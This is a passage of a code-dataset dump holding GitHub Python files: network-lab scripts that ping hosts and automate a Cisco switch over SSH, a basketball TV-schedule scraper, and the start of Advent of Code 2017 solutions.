self.child.expect('#')\n #self.child.logfile=sys.stdout.buffer\n\n return (self.child, self.child.before)\n \n def FtpBackupCmd(self,ftpip):\n self.child.sendline('copy running-config ftp:')\n self.child.expect(']?')\n self.child.sendline(ftpip)\n self.child.expect(']?')\n DATE = datetime.datetime.now().strftime('%Y_%m_%d_%H_%M_%S')\n self.child.sendline(DATE+'-'+self.host)\n self.child.expect('#')\n return (self.child, self.child.before)\n \nif __name__ == '__main__':\n print ('This program is being run by itself')\n Switch = CiscoSwitch('172.18.200.10','cmlab','cisco123')\n (obj,stdout) = Switch.Login()\n print (stdout.decode('utf-8'))\n (obj,stdout) = Switch.RunShowCmd('show ip int brief')\n\n print(stdout.decode('utf-8')) \n for i in (stdout.decode('utf-8')).splitlines():\n print(i)\n\n \"\"\"\n (obj,stdout) = Switch.FtpBackupCmd('1.1.1.1')\n print stdout\n \"\"\"\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5767195820808411,\n \"alphanum_fraction\": 0.6058201193809509,\n \"avg_line_length\": 28.076923370361328,\n \"blob_id\": \"a3fe8c7d90990bdbbac7f49aa9a9bafa68c5e4f2\",\n \"content_id\": \"c9dcf554b044acf33356d96a7376e1d14f725aa7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 378,\n \"license_type\": \"no_license\",\n \"max_line_length\": 63,\n \"num_lines\": 13,\n \"path\": \"/send1.py\",\n \"repo_name\": \"SandyLinux/NetworkCommunication\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Echo client program\\nimport socket\\nimport time\\n\\nHOST = '' # The remote host\\nPORT = 50007 # The same port as used by the server\\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:\\n s.connect((HOST, PORT))\\n while True:\\n s.sendall(b'Hello, world')\\n data = s.recv(1024)\\n print('Received-----', repr(data))\\n time.sleep(30)\\n\"\n },\n {\n \"alpha_fraction\": 0.5177083611488342,\n \"alphanum_fraction\": 0.5416666865348816,\n \"avg_line_length\": 32.068965911865234,\n \"blob_id\": \"20b3c0feefba6a9a5abb5cd24c05a4a75dcde64c\",\n \"content_id\": \"a6b118d3fee7ed04cd34f1313ac98d5283e76553\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 960,\n \"license_type\": \"no_license\",\n \"max_line_length\": 85,\n \"num_lines\": 29,\n \"path\": \"/latency.py\",\n \"repo_name\": \"SandyLinux/NetworkCommunication\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from subprocess import Popen, PIPE, STDOUT\\nfrom time import sleep\\n\\ndef get_fping_time(cmd):\\n try:\\n #execute the fping command, get the output, and convert to ascii format\\n #get the 3 latency time\\n ret = Popen(cmd, stdout=PIPE, stderr=STDOUT).communicate()[0].decode('ascii')\\n str_line = ret.splitlines()\\n latency_time = 0\\n for i in str_line:\\n output = i.strip().split(':')[-1].split()\\n #get the 3 latency time list \\n res = [float(x) for x in output if x != '-']\\n if len(res) > 0:\\n latency_time = round(sum(res) / len(res),2)\\n else:\\n latency_time= 0\\n\\n return latency_time\\n except Exception as err:\\n return 0\\n\\nif __name__ == \\\"__main__\\\":\\n for i in range(10):\\n sleep(2)\\n ret = get_fping_time(['fping', '-A','172.16.50.131', '-C', '1', '-q'])\\n\\n print(\\\"Import me into main.py to use my functions\\\")\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5641891956329346,\n \"alphanum_fraction\": 0.5810810923576355,\n \"avg_line_length\": 33.41860580444336,\n \"blob_id\": \"0837b094a9aa2f2751795a81532067ab64da65a0\",\n \"content_id\": \"a317b47a90ae05e37a069a4078103a7902fcb5e6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1480,\n \"license_type\": \"no_license\",\n \"max_line_length\": 121,\n \"num_lines\": 43,\n \"path\": \"/nping.py\",\n \"repo_name\": \"SandyLinux/NetworkCommunication\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from subprocess import Popen,PIPE,STDOUT\\nNULL = open(\\\"/dev/null\\\", 'w') # Null file\\n\\ndef checkInterfaceHasInternetConnectionHelper(name, dest_port, protocol):\\n \\\"\\\"\\\"\\n check the interface to see if it has network access with :w, i.e., if it can ping google DNS\\n Args:\\n name: the name of the interface to check\\n Returns:\\n True if it has internet connection, False otherwise\\n \\\"\\\"\\\"\\n try:\\n ping_cmd = ['nping', '--interface', name, '--dest-port', dest_port, '--%s'%protocol, '-c', '4', \\\"188.8.8.8\\\"]\\n #Create a subprocess to ping google's DNS and get the return code\\n retcode = Popen(ping_cmd, stdout=PIPE, stderr=PIPE, bufsize=0)\\n retcode.wait()\\n (stdout,stderr) = retcode.communicate()\\n\\n print(retcode)\\n #print(stdout)\\n for i in stdout.splitlines():\\n if i.decode('utf-8').startswith('Max rtt'):\\n print(i.decode('utf-8').split())\\n print(i.decode('utf-8').split()[-1])\\n \\n print(stderr)\\n print(retcode.returncode)\\n print(retcode.pid)\\n #Ping returns 0 on success, 1 or 2 on failure\\n except ValueError as verr:\\n print(verr)\\n print(stderr)\\n except Exception as err:\\n print(err)\\n print(stderr)\\n\\n if(retcode == 0):\\n return True\\n else:\\n return False\\n\\nif __name__=='__main__':\\n checkInterfaceHasInternetConnectionHelper('eth0', '443', 'tcp')\\n\"\n },\n {\n \"alpha_fraction\": 0.5759493708610535,\n \"alphanum_fraction\": 0.5759493708610535,\n \"avg_line_length\": 21.428571701049805,\n \"blob_id\": \"379570f2b9779d9c3005c5f5e70ab03d7f0bd7ca\",\n \"content_id\": \"1ff138a2d41d18b2841614a28068c7b793a83811\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 158,\n \"license_type\": \"no_license\",\n \"max_line_length\": 49,\n \"num_lines\": 7,\n \"path\": \"/resolveDNS.py\",\n \"repo_name\": \"SandyLinux/NetworkCommunication\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\nimport re\\nwith open('resolv.conf','r') as fp:\\n\\n dataline = fp.read()\\n print(dataline)\\n gws = re.findall(r'\\\\d+.\\\\d+.\\\\d+.\\\\d+',dataline)\\n print(gws)\\n\"\n },\n {\n \"alpha_fraction\": 0.5821596384048462,\n \"alphanum_fraction\": 0.5821596384048462,\n \"avg_line_length\": 18.272727966308594,\n \"blob_id\": \"a06c2c466cfa29e5116544716431407b5baa6755\",\n \"content_id\": \"df04c0e64b855c1be018659218aaca8cfd924b88\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 213,\n \"license_type\": \"no_license\",\n \"max_line_length\": 41,\n \"num_lines\": 11,\n \"path\": \"/env.py\",\n \"repo_name\": \"SandyLinux/NetworkCommunication\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import sys\\nimport os\\np = os.path.abspath( os.path.dirname(\\n os.path.dirname(\\n os.path.abspath(__file__)\\n )\\n )\\n)+'/src'\\n\\n# append module src directory to sys.path\\nsys.path.append(p)\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.49977508187294006,\n \"alphanum_fraction\": 0.5249662399291992,\n \"avg_line_length\": 27.87013053894043,\n \"blob_id\": \"5076c5cc2ef8fd154c67d64bbf558edc59c1a908\",\n \"content_id\": \"ffc2c30597689a7cd0d32670570c9a308ccf101c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2223,\n \"license_type\": \"no_license\",\n \"max_line_length\": 84,\n \"num_lines\": 77,\n \"path\": \"/paramikoSSH.py\",\n \"repo_name\": \"SandyLinux/NetworkCommunication\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import paramiko\\nfrom getpass import getpass\\nimport time,socket\\nfrom multiprocessing import Process, Pipe\\n\\ndef msgSender(conn):\\n \\\"\\\"\\\"\\n use child process to feed the command to host via ssh connection\\n \\\"\\\"\\\"\\n msglist = ['show run', 'show ip int br', 'show clock', 'show int trunk', 'exit']\\n for msg in msglist:\\n \\n conn.send([msg])\\n time.sleep(5)\\n conn.close()\\n\\ndef main():\\n parent_conn, child_conn = Pipe()\\n ip = '172.18.200.10'\\n username = 'cmlab'\\n password = 'cisco123'\\n remote_conn_pre=paramiko.SSHClient()\\n remote_conn_pre.set_missing_host_key_policy(paramiko.AutoAddPolicy())\\n \\n try:\\n \\n remote_conn_pre.connect(ip, port=22, username=username, \\n password=password,\\n look_for_keys=False, allow_agent=False,\\n timeout=10,\\n auth_timeout=10)\\n \\n \\n remote_conn = remote_conn_pre.invoke_shell()\\n output = remote_conn.recv(65535)\\n print ('----1',output)\\n\\n remote_conn.send(\\\"terminal length 0\\\\n\\\")\\n time.sleep(1)\\n output = remote_conn.recv(65535)\\n print ('----2',output)\\n p = Process(target=msgSender, args=(child_conn,))\\n p.start()\\n \\n for _ in range(5):\\n print('-----------execution result')\\n\\n tst2= (parent_conn.recv()[0]) # prints \\\"[42, None, 'hello']\\\"\\n if tst2=='exit':\\n break\\n else:\\n tst2 = tst2 +\\\"\\\\n\\\" \\n print('---!!!!!sending......', tst2)\\n remote_conn.send(tst2)\\n time.sleep(2)\\n output = remote_conn.recv(655350).decode('utf-8')\\n #for i in output.splitlines():\\n print (output)\\n remote_conn.close() \\n except socket.timeout as err:\\n print(err)\\n except paramiko.ssh_exception.AuthenticationException as err:\\n print(err)\\n except Exception as err:\\n print(err)\\n \\n \\\"\\\"\\\"\\n remote_conn.send(\\\"show ip int br\\\\n\\\")\\n time.sleep(1)\\n output = remote_conn.recv(655350)\\n for i in output.splitlines():\\n print (i)\\n \\\"\\\"\\\"\\n\\n\\nif __name__=='__main__':\\n main()\\n\"\n },\n {\n \"alpha_fraction\": 0.5639229416847229,\n \"alphanum_fraction\": 0.5709282159805298,\n \"avg_line_length\": 29.052631378173828,\n \"blob_id\": \"409b262c9805d7e4a082f5195f14e42a32235837\",\n \"content_id\": \"fc11438af5951149ecdffda5d6412c910c0163c6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 571,\n \"license_type\": \"no_license\",\n \"max_line_length\": 95,\n \"num_lines\": 19,\n \"path\": \"/etherInterfaceDiscover.py\",\n \"repo_name\": \"SandyLinux/NetworkCommunication\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python3\\nimport netifaces\\nimport subprocess\\n\\ndef ethInterfacesCount():\\n realifaces = set()\\n ifaces=netifaces.interfaces()\\n for iface in ifaces:\\n if (\\\"eth\\\") in iface:\\n realifaces.add(iface.split('.')[0])\\n print (realifaces)\\n if (len(realifaces) >=4):\\n print (\\\"length of set {}\\\".format(len(realifaces)))\\n subprocess.call([\\\"gpg2\\\", \\\"--batch\\\", \\\"--yes\\\", \\\"-d\\\", \\\"-o\\\",\\\"/opt/ar.de\\\", \\\"/opt/arch.gpg\\\"])\\n\\n subprocess.call([\\\"tar\\\", \\\"-zxvf\\\", \\\"/opt/ar.de\\\",\\\"-C\\\",\\\"/\\\"])\\n\\nif __name__ == \\\"__main__\\\":\\n ethInterfacesCount()\\n\"\n },\n {\n \"alpha_fraction\": 0.601489782333374,\n \"alphanum_fraction\": 0.6163873076438904,\n \"avg_line_length\": 33.64516067504883,\n \"blob_id\": \"ba13692d4a0e3e93b7853c752a9798de6e66c71a\",\n \"content_id\": \"0b79fee053de9fec486f213e7ee45eaf08ed15f0\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2148,\n \"license_type\": \"no_license\",\n \"max_line_length\": 154,\n \"num_lines\": 62,\n \"path\": \"/ciscoswitch.py\",\n \"repo_name\": \"SandyLinux/NetworkCommunication\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n#This Script expects you are providing a level 15 user priveledge\\n#Uses FTP & Telnet and is insecure\\n#Will work if run through a linux terminal, not windows\\n#needs ftp server setup and username password added in the cisco device\\n#and is only a sample reference to get started.\\nimport pexpect\\nimport sys\\nimport time\\nimport datetime\\n \\nclass CiscoSwitch():\\n \\n def __init__(self, host, username, password):\\n self.username = username\\n self.host = host\\n self.password = password\\n \\n def Login(self):\\n str1 = 'ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc %s@%s'%(self.username, self.host)\\n\\n self.child = pexpect.spawn('ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc %s@%s'%(self.username, self.host), echo=False, timeout=30)\\n self.child.expect('Password:')\\n self.child.sendline(self.password)\\n self.child.expect('#')\\n self.child.sendline('terminal length 0')\\n self.child.expect('#')\\n \\n return (self.child, self.child.before)\\n \\n def RunShowCmd(self,cmd):\\n self.child.sendline(cmd)\\n self.child.expect('#')\\n #self.child.logfile=sys.stdout.buffer\\n\\n return (self.child, self.child.before)\\n \\n def FtpBackupCmd(self,ftpip):\\n self.child.sendline('copy running-config ftp:')\\n self.child.expect(']?')\\n self.child.sendline(ftpip)\\n self.child.expect(']?')\\n DATE = datetime.datetime.now().strftime('%Y_%m_%d_%H_%M_%S')\\n self.child.sendline(DATE+'-'+self.host)\\n self.child.expect('#')\\n return (self.child, self.child.before)\\n \\nif __name__ == '__main__':\\n print ('This program is being run by itself')\\n Switch = CiscoSwitch('172.18.200.10','cmlab','cisco123')\\n (obj,stdout) = Switch.Login()\\n print (stdout.decode('utf-8'))\\n (obj,stdout) = Switch.RunShowCmd('show ip int brief')\\n\\n print(stdout.decode('utf-8')) \\n for i in (stdout.decode('utf-8')).splitlines():\\n print(i)\\n\\n \\\"\\\"\\\"\\n (obj,stdout) = Switch.FtpBackupCmd('1.1.1.1')\\n print stdout\\n \\\"\\\"\\\"\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":8,"string":"8"}}},{"rowIdx":2984073,"cells":{"repo_name":{"kind":"string","value":"ericmarcincuddy/sports-schedules"},"repo_url":{"kind":"string","value":"https://github.com/ericmarcincuddy/sports-schedules"},"snapshot_id":{"kind":"string","value":"7db797cbc4eee8b9858b3b341b9f6f5db04cc443"},"revision_id":{"kind":"string","value":"d7df1a67763d1fc655d4e2479f2cd1553b1bac93"},"directory_id":{"kind":"string","value":"12cdae2503bc56c30506b3eb32a359ca1c7c75d0"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2019-01-19T14:49:00.466543","string":"2019-01-19T14:49:00.466543"},"revision_date":{"kind":"timestamp","value":"2018-01-13T02:03:47","string":"2018-01-13T02:03:47"},"committer_date":{"kind":"timestamp","value":"2018-01-13T02:03:47","string":"2018-01-13T02:03:47"},"github_id":{"kind":"number","value":81053076,"string":"81,053,076"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.47946789860725403,"alphanum_fraction":0.49315595626831055,"avg_line_length":29.33333396911621,"blob_id":"53c237254c845e6560eca5d7971d4ed2ad0fa108","content_id":"28d2e2b6c59f5e0ef17613b0e455ce24e3644881","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":5193,"license_type":"no_license","max_line_length":111,"num_lines":171,"path":"/cbb25tv.py","repo_name":"ericmarcincuddy/sports-schedules","src_encoding":"UTF-8","text":"#!/usr/bin/env python3\n\n## modules\nfrom bs4 import BeautifulSoup\nimport csv\nimport datetime\nimport logging\nimport pytz\nimport re\nimport requests\nimport sys\n\n## logging setup\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n## constants\nTOP25_PATH = '/Users/eric/workspace/ap10.html'\nTVSCHED_PATH = '/Users/eric/workspace/cbb10.html'\nOUTPUT_PATH = '/Users/eric/workspace/sched10.csv'\n\nTVSCHED_TZ = pytz.timezone('US/Eastern')\nMY_TZ = pytz.timezone('US/Pacific')\nGAME_LENGTH = datetime.timedelta(hours=2)\n\nAP2MS = {\n 'Michigan State' : 'Michigan St.',\n 'Wichita State' : 'Wichita St.',\n 'Arizona State' : 'Arizona St.',\n 'Southern California' : 'USC',\n 'Florida State' : 'Florida St.',\n 'Mississippi State' : 'Mississippi St.',\n 'Fresno State' : 'Fresno St.',\n 'Kennesaw State' : 'Kennesaw St.',\n 'East Tennessee State' : 'East Tennessee St.',\n 'Oklahoma State' : 'Oklahoma St.',\n 'Oregon State' : 'Oregon St.',\n 'Washington State' : 'Washington St.',\n 'San Diego State' : 'San Diego St.'\n}\nMS2AP = {v:k for k,v in AP2MS.items()}\n\nPAC12 = [\n 'UCLA', 'USC',\n 'California', 'Stanford',\n 'Oregon', 'Oregon St.',\n 'Washington', 'Washington St.',\n 'Arizona', 'Arizona St.',\n 'Utah', 'Colorado'\n]\n\nBROADCAST = ['CBS HD', 'FOX HD']\nNETWORKS = BROADCAST + [\n 'ESPN HD', 'ESPN2 HD', 'ESPNU HD',\n 'FS1', 'FS2', 'FSN', 'BTN',\n 'CBS Sports Network',\n 'ACC Network Extra',\n 'SEC Network',\n 'NBCSN',\n 'ESPN3',\n 'ACC Network', 'ACC RSNs', 'ESPNEWS',\n 'FOX Sports West', 'FOX Business',\n 'WCC RSNs'\n]\n\nMS2GC = {\n 'CBS HD' : '2.1 KCBS',\n 'FOX HD' : '11.1 KTTV',\n 'ESPN HD' : 'ESPN',\n 'ESPN2 HD' : 'ESPN2',\n 'ESPNU HD' : 'ESPNU',\n 'CBS Sports Network' : 'CBSSN'\n}\n\nGAME_RE = re.compile(\n r'''^(?P<team1>.+)[ ]\n (?P<dir>at|vs\\.)[ ]\n (?P<team2>.+?)\n (\\((?P<loc>.+)\\))?\n $''',\n re.X\n)\n\n## class: AP Top 25 Poll\nclass Top25:\n\n def __init__(self):\n self.teams = {}\n self.schedule = []\n\n def get_teams(self):\n \"\"\"\n Ingest the AP top 25 list of teams.\n \"\"\"\n\n with open(TOP25_PATH) as f:\n soup = BeautifulSoup(f.read(), 'html.parser')\n for tr in soup.tbody.find_all('tr'):\n rank = int(tr.find(**{'class':'trank'}).text)\n team = tr.find(**{'class':'tname'}).div.a.text\n self.teams[AP2MS.get(team, team)] = {\n 'rank' : rank\n }\n\n def get_schedule(self):\n \"\"\"\n Ingest the TV schedule for the teams.\n \"\"\"\n\n if len(self.teams) == 0:\n self.get_teams()\n\n with open(TVSCHED_PATH) as f:\n soup = BeautifulSoup(f.read(), 'html.parser')\n for tr in soup.find(class_='rowStyle').find_all('tr'):\n try:\n game = tr.find('td', class_='gamecell').get_text().strip()\n network = tr.find('td', class_='networkcell').get_text().strip()\n ts = tr.find('td', class_='timecell').get_text().strip()\n except AttributeError as e:\n continue\n\n print(game)\n game_info = GAME_RE.match(game)\n team1 = game_info.group('team1')\n team2 = game_info.group('team2')\n dt = TVSCHED_TZ.localize(datetime.datetime.strptime(ts, '%m/%d/%Y %I:%M %p')).astimezone(MY_TZ)\n\n if team1 in self.teams \\\n or team2 in self.teams \\\n or team1 in PAC12 \\\n or team2 in PAC12 \\\n or network in BROADCAST:\n if network not in NETWORKS:\n continue\n\n end_dt = dt + GAME_LENGTH\n self.schedule.append({\n 'Start Date' : dt.strftime('%m/%d/%y'),\n 'Start Time' : dt.strftime('%I:%M:%S %p'),\n 'End Date' : end_dt.strftime('%m/%d/%y'),\n 'End Time' : end_dt.strftime('%I:%M:%S %p'),\n 'Subject' : '🏀🚹 NCAA: {}{} {} {}{}'.format(\n '#{} '.format(self.teams[team1]['rank']) if team1 in self.teams else '',\n MS2AP.get(team1, team1),\n '@' if game_info.group('dir') == 'at' else game_info.group('dir'),\n '#{} '.format(self.teams[team2]['rank']) if team2 in self.teams else '',\n MS2AP.get(team2, team2)\n ),\n 'Location' : MS2GC.get(network, network),\n 'Description' : ''\n })\n\n def print_schedule(self):\n \"\"\"\n Print the schedule in CSV format.\n \"\"\"\n\n if len(self.schedule) == 0:\n self.get_schedule()\n\n with open(OUTPUT_PATH, 'w') as f:\n writer = csv.DictWriter(f, fieldnames=list(self.schedule[0].keys()))\n writer.writeheader()\n for entry in self.schedule:\n writer.writerow(entry)\n\n## main\nif __name__ == '__main__':\n t25 = Top25()\n t25.print_schedule()\n"}],"string":"[\n {\n \"alpha_fraction\": 0.47946789860725403,\n \"alphanum_fraction\": 0.49315595626831055,\n \"avg_line_length\": 29.33333396911621,\n \"blob_id\": \"53c237254c845e6560eca5d7971d4ed2ad0fa108\",\n \"content_id\": \"28d2e2b6c59f5e0ef17613b0e455ce24e3644881\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 5193,\n \"license_type\": \"no_license\",\n \"max_line_length\": 111,\n \"num_lines\": 171,\n \"path\": \"/cbb25tv.py\",\n \"repo_name\": \"ericmarcincuddy/sports-schedules\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python3\\n\\n## modules\\nfrom bs4 import BeautifulSoup\\nimport csv\\nimport datetime\\nimport logging\\nimport pytz\\nimport re\\nimport requests\\nimport sys\\n\\n## logging setup\\nlogger = logging.getLogger()\\nlogger.setLevel(logging.INFO)\\n\\n## constants\\nTOP25_PATH = '/Users/eric/workspace/ap10.html'\\nTVSCHED_PATH = '/Users/eric/workspace/cbb10.html'\\nOUTPUT_PATH = '/Users/eric/workspace/sched10.csv'\\n\\nTVSCHED_TZ = pytz.timezone('US/Eastern')\\nMY_TZ = pytz.timezone('US/Pacific')\\nGAME_LENGTH = datetime.timedelta(hours=2)\\n\\nAP2MS = {\\n 'Michigan State' : 'Michigan St.',\\n 'Wichita State' : 'Wichita St.',\\n 'Arizona State' : 'Arizona St.',\\n 'Southern California' : 'USC',\\n 'Florida State' : 'Florida St.',\\n 'Mississippi State' : 'Mississippi St.',\\n 'Fresno State' : 'Fresno St.',\\n 'Kennesaw State' : 'Kennesaw St.',\\n 'East Tennessee State' : 'East Tennessee St.',\\n 'Oklahoma State' : 'Oklahoma St.',\\n 'Oregon State' : 'Oregon St.',\\n 'Washington State' : 'Washington St.',\\n 'San Diego State' : 'San Diego St.'\\n}\\nMS2AP = {v:k for k,v in AP2MS.items()}\\n\\nPAC12 = [\\n 'UCLA', 'USC',\\n 'California', 'Stanford',\\n 'Oregon', 'Oregon St.',\\n 'Washington', 'Washington St.',\\n 'Arizona', 'Arizona St.',\\n 'Utah', 'Colorado'\\n]\\n\\nBROADCAST = ['CBS HD', 'FOX HD']\\nNETWORKS = BROADCAST + [\\n 'ESPN HD', 'ESPN2 HD', 'ESPNU HD',\\n 'FS1', 'FS2', 'FSN', 'BTN',\\n 'CBS Sports Network',\\n 'ACC Network Extra',\\n 'SEC Network',\\n 'NBCSN',\\n 'ESPN3',\\n 'ACC Network', 'ACC RSNs', 'ESPNEWS',\\n 'FOX Sports West', 'FOX Business',\\n 'WCC RSNs'\\n]\\n\\nMS2GC = {\\n 'CBS HD' : '2.1 KCBS',\\n 'FOX HD' : '11.1 KTTV',\\n 'ESPN HD' : 'ESPN',\\n 'ESPN2 HD' : 'ESPN2',\\n 'ESPNU HD' : 'ESPNU',\\n 'CBS Sports Network' : 'CBSSN'\\n}\\n\\nGAME_RE = re.compile(\\n r'''^(?P<team1>.+)[ ]\\n (?P<dir>at|vs\\\\.)[ ]\\n (?P<team2>.+?)\\n (\\\\((?P<loc>.+)\\\\))?\\n $''',\\n re.X\\n)\\n\\n## class: AP Top 25 Poll\\nclass Top25:\\n\\n def __init__(self):\\n self.teams = {}\\n self.schedule = []\\n\\n def get_teams(self):\\n \\\"\\\"\\\"\\n Ingest the AP top 25 list of teams.\\n \\\"\\\"\\\"\\n\\n with open(TOP25_PATH) as f:\\n soup = BeautifulSoup(f.read(), 'html.parser')\\n for tr in soup.tbody.find_all('tr'):\\n rank = int(tr.find(**{'class':'trank'}).text)\\n team = tr.find(**{'class':'tname'}).div.a.text\\n self.teams[AP2MS.get(team, team)] = {\\n 'rank' : rank\\n }\\n\\n def get_schedule(self):\\n \\\"\\\"\\\"\\n Ingest the TV schedule for the teams.\\n \\\"\\\"\\\"\\n\\n if len(self.teams) == 0:\\n self.get_teams()\\n\\n with open(TVSCHED_PATH) as f:\\n soup = BeautifulSoup(f.read(), 'html.parser')\\n for tr in soup.find(class_='rowStyle').find_all('tr'):\\n try:\\n game = tr.find('td', class_='gamecell').get_text().strip()\\n network = tr.find('td', class_='networkcell').get_text().strip()\\n ts = tr.find('td', class_='timecell').get_text().strip()\\n except AttributeError as e:\\n continue\\n\\n print(game)\\n game_info = GAME_RE.match(game)\\n team1 = game_info.group('team1')\\n team2 = game_info.group('team2')\\n dt = TVSCHED_TZ.localize(datetime.datetime.strptime(ts, '%m/%d/%Y %I:%M %p')).astimezone(MY_TZ)\\n\\n if team1 in self.teams \\\\\\n or team2 in self.teams \\\\\\n or team1 in PAC12 \\\\\\n or team2 in PAC12 \\\\\\n or network in BROADCAST:\\n if network not in NETWORKS:\\n continue\\n\\n end_dt = dt + GAME_LENGTH\\n self.schedule.append({\\n 'Start Date' : dt.strftime('%m/%d/%y'),\\n 'Start Time' : dt.strftime('%I:%M:%S %p'),\\n 'End Date' : end_dt.strftime('%m/%d/%y'),\\n 'End Time' : end_dt.strftime('%I:%M:%S %p'),\\n 'Subject' : '🏀🚹 NCAA: {}{} {} {}{}'.format(\\n '#{} '.format(self.teams[team1]['rank']) if team1 in self.teams else '',\\n MS2AP.get(team1, team1),\\n '@' if game_info.group('dir') == 'at' else game_info.group('dir'),\\n '#{} '.format(self.teams[team2]['rank']) if team2 in self.teams else '',\\n MS2AP.get(team2, team2)\\n ),\\n 'Location' : MS2GC.get(network, network),\\n 'Description' : ''\\n })\\n\\n def print_schedule(self):\\n \\\"\\\"\\\"\\n Print the schedule in CSV format.\\n \\\"\\\"\\\"\\n\\n if len(self.schedule) == 0:\\n self.get_schedule()\\n\\n with open(OUTPUT_PATH, 'w') as f:\\n writer = csv.DictWriter(f, fieldnames=list(self.schedule[0].keys()))\\n writer.writeheader()\\n for entry in self.schedule:\\n writer.writerow(entry)\\n\\n## main\\nif __name__ == '__main__':\\n t25 = Top25()\\n t25.print_schedule()\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2984074,"cells":{"repo_name":{"kind":"string","value":"giuseppeluzzi/advent-of-code-2017"},"repo_url":{"kind":"string","value":"https://github.com/giuseppeluzzi/advent-of-code-2017"},"snapshot_id":{"kind":"string","value":"93c805e964673e0c3b230247bda2254cd125c6ae"},"revision_id":{"kind":"string","value":"9c5dcebe1b85df40926486fcbdd5e9487c6dc544"},"directory_id":{"kind":"string","value":"0e9bb46f6a27a84195d691bd28bc41a83b11f802"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-08-28T04:50:30.949863","string":"2021-08-28T04:50:30.949863"},"revision_date":{"kind":"timestamp","value":"2017-12-11T08:04:23","string":"2017-12-11T08:04:23"},"committer_date":{"kind":"timestamp","value":"2017-12-11T08:04:23","string":"2017-12-11T08:04:23"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.5820610523223877,"alphanum_fraction":0.6164122223854065,"avg_line_length":19.959999084472656,"blob_id":"ef7178f277a85aacf1b60fe8a4fee96b8734e2d0","content_id":"80c4dfe3807ba08fc2152a11e99070fa66ac84bc","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":524,"license_type":"permissive","max_line_length":70,"num_lines":25,"path":"/day2/2-2.py","repo_name":"giuseppeluzzi/advent-of-code-2017","src_encoding":"UTF-8","text":"#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 02 - Puzzle: 2\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\n\ndef find(row):\n\trow2 = row\n\tfor element in row:\n\t\tfor element2 in row:\n\t\t\tif (element != element2) and ((int(element) % int(element2)) == 0):\n\t\t\t\treturn (int(element) / int(element2))\n\n\nchecksum = 0\nwith open('input.txt', 'r') as input_file:\n\trows = input_file.readlines()\n\nfor row in rows:\n\trow = row.split('\\t')\n\tchecksum = checksum + find(row)\n\nprint(\"Checksum: %d\" % (int(checksum)))\n"},{"alpha_fraction":0.5729967355728149,"alphanum_fraction":0.603732168674469,"avg_line_length":22.384614944458008,"blob_id":"3c6a1bd6d59325e100ac5aad9bad8a118e00c0b8","content_id":"1e966652dee0c31725d57b49afa85d7da2d61e69","detected_licenses":["MIT"],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":911,"license_type":"permissive","max_line_length":67,"num_lines":39,"path":"/day7/7-2.py","repo_name":"giuseppeluzzi/advent-of-code-2017","src_encoding":"UTF-8","text":"#\n# \t\t \t\tAdvent of Code 2017\n# \t\t\t\t\tDay: 07 - Puzzle: 2\n# \t\t\t\t\t Giuseppe Luzzi\n# \thttps://github.com/GiuseppeLuzzi/advent-of-code-2017\n#\n\nimport re\n\nwith open('input.txt', 'r') as input_file:\n\tdisks_raw = input_file.read()\n\ndisks = {}\nparents = []\nchilds = []\nfor 